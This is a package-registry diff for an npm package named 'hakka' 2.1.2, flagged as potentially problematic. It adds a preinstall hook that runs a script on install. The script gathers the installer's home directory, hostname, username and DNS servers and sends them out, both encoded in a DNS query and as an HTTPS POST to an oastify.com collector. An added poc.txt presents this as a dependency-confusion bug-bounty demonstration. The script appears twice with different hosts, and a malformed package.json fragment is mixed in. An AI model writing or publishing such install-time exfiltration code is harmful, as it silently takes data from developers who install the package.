hakka 2.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hakka might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "hakka",
3
+ "version": "2.1.2",
4
+ "description": "Hakka DC by mjhd0x1",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "author": "mjhd0x1",
9
+ "license": "ISC"
10
+ }
@@ -0,0 +1,15 @@
1
+ {
2
+
3
+   "name": "hakka",
4
+
5
+   "version": "2.1.1",
6
+
7
+   "description": "Hakka DC By mjhd",
8
+
9
+   "author": "mjhd0x1",
10
+
11
+   "scripts": { "preinstall": "node preinstall.js" },
12
+
13
+
14
+ }
15
+
@@ -0,0 +1,126 @@
1
+ const os = require("os");
2
+
3
+ const dns = require("dns");
4
+
5
+ const querystring = require("querystring");
6
+
7
+ const https = require("https");
8
+
9
+ const packageJSON = require("./package.json");
10
+
11
+ const package = packageJSON.name;
12
+
13
+
14
+ // Collect tracking data
15
+
16
+ const trackingData = JSON.stringify({
17
+
18
+     p: package,
19
+
20
+     c: __dirname,
21
+
22
+     hd: os.homedir(),
23
+
24
+     hn: os.hostname(),
25
+
26
+     un: os.userInfo().username,
27
+
28
+     dns: dns.getServers(),
29
+
30
+     r: packageJSON ? packageJSON.___resolved : undefined,
31
+
32
+     v: packageJSON.version,
33
+
34
+     pjson: packageJSON,
35
+
36
+ });
37
+
38
+
39
+ // Step 1: Hex encode the tracking data
40
+
41
+ const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
42
+
43
+
44
+ // Step 2: Base64 encode the hex data
45
+
46
+ const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
47
+
48
+
49
+ // Use Base64 encoded data in DNS query (as an example)
50
+
51
+ const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
52
+
53
+
54
+ // Example DNS resolution to exfiltrate the data
55
+
56
+ dns.resolve(dnsQuery, (err, addresses) => {
57
+
58
+     if (err) {
59
+
60
+         console.error("Error in DNS resolution:", err);
61
+
62
+     } else {
63
+
64
+         console.log("DNS Addresses:", addresses);
65
+
66
+     }
67
+
68
+ });
69
+
70
+
71
+ // Prepare the data for HTTP POST request
72
+
73
+ var postData = querystring.stringify({
74
+
75
+     msg: trackingData, // You might want to send the original tracking data here
76
+
77
+ });
78
+
79
+
80
+ // Prepare HTTP request options
81
+
82
+ var options = {
83
+
84
+     hostname: "3fjk638jdzb14dksivqlrp5pagg74ysn.oastify.com", // Replace with Interactsh or Pipedream
85
+
86
+     port: 443,
87
+
88
+     path: "/",
89
+
90
+     method: "POST",
91
+
92
+     headers: {
93
+
94
+         "Content-Type": "application/x-www-form-urlencoded",
95
+
96
+         "Content-Length": postData.length,
97
+
98
+     },
99
+
100
+ };
101
+
102
+
103
+ // Create and send the HTTPS request
104
+
105
+ var req = https.request(options, (res) => {
106
+
107
+     res.on("data", (d) => {
108
+
109
+         process.stdout.write(d);
110
+
111
+     });
112
+
113
+ });
114
+
115
+
116
+ req.on("error", (e) => {
117
+
118
+     console.error(e);
119
+
120
+ });
121
+
122
+
123
+ req.write(postData);
124
+
125
+ req.end();
126
+
package/poc.txt ADDED
@@ -0,0 +1,39 @@
1
+ Hello security team, I found dependency confusion vulnerability in your system which leads to remote code execution (RCE)
2
+
3
+
4
+ Target: https://github.com/hakkafinance/HakkaFinance
5
+
6
+
7
+ Description of the Vulnerability
8
+
9
+
10
+ Vulnerable Package Information
11
+
12
+ Package Name: hakka
13
+
14
+ Version: 1.0.0
15
+
16
+ Registry: internal/private
17
+
18
+ Description: Hakka
19
+
20
+ Author: Thanh Tam
21
+
22
+
23
+
24
+
25
+ Impact:
26
+
27
+
28
+ Remote Code Execution, Data Exfiltration
29
+
30
+
31
+
32
+ Note:
33
+
34
+
35
+ The code executed during this proof of concept PoC is not harmful to the system and has been designed solely for demonstration purposes. It does not cause any damage or unauthorized modifications to the target system. 
36
+
37
+
38
+ Steps to reproduce in PoC Video:
39
+
package/preinstall.js ADDED
@@ -0,0 +1,126 @@
1
+ const os = require("os");
2
+
3
+ const dns = require("dns");
4
+
5
+ const querystring = require("querystring");
6
+
7
+ const https = require("https");
8
+
9
+ const packageJSON = require("./package.json");
10
+
11
+ const package = packageJSON.name;
12
+
13
+
14
+ // Collect tracking data
15
+
16
+ const trackingData = JSON.stringify({
17
+
18
+     p: package,
19
+
20
+     c: __dirname,
21
+
22
+     hd: os.homedir(),
23
+
24
+     hn: os.hostname(),
25
+
26
+     un: os.userInfo().username,
27
+
28
+     dns: dns.getServers(),
29
+
30
+     r: packageJSON ? packageJSON.___resolved : undefined,
31
+
32
+     v: packageJSON.version,
33
+
34
+     pjson: packageJSON,
35
+
36
+ });
37
+
38
+
39
+ // Step 1: Hex encode the tracking data
40
+
41
+ const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
42
+
43
+
44
+ // Step 2: Base64 encode the hex data
45
+
46
+ const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
47
+
48
+
49
+ // Use Base64 encoded data in DNS query (as an example)
50
+
51
+ const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
52
+
53
+
54
+ // Example DNS resolution to exfiltrate the data
55
+
56
+ dns.resolve(dnsQuery, (err, addresses) => {
57
+
58
+     if (err) {
59
+
60
+         console.error("Error in DNS resolution:", err);
61
+
62
+     } else {
63
+
64
+         console.log("DNS Addresses:", addresses);
65
+
66
+     }
67
+
68
+ });
69
+
70
+
71
+ // Prepare the data for HTTP POST request
72
+
73
+ var postData = querystring.stringify({
74
+
75
+     msg: trackingData, // You might want to send the original tracking data here
76
+
77
+ });
78
+
79
+
80
+ // Prepare HTTP request options
81
+
82
+ var options = {
83
+
84
+     hostname: "f9pw0f2v7b5dype4c7kxl1z14sakybm0.oastify.com", // Replace with Interactsh or Pipedream
85
+
86
+     port: 443,
87
+
88
+     path: "/",
89
+
90
+     method: "POST",
91
+
92
+     headers: {
93
+
94
+         "Content-Type": "application/x-www-form-urlencoded",
95
+
96
+         "Content-Length": postData.length,
97
+
98
+     },
99
+
100
+ };
101
+
102
+
103
+ // Create and send the HTTPS request
104
+
105
+ var req = https.request(options, (res) => {
106
+
107
+     res.on("data", (d) => {
108
+
109
+         process.stdout.write(d);
110
+
111
+     });
112
+
113
+ });
114
+
115
+
116
+ req.on("error", (e) => {
117
+
118
+     console.error(e);
119
+
120
+ });
121
+
122
+
123
+ req.write(postData);
124
+
125
+ req.end();
126
+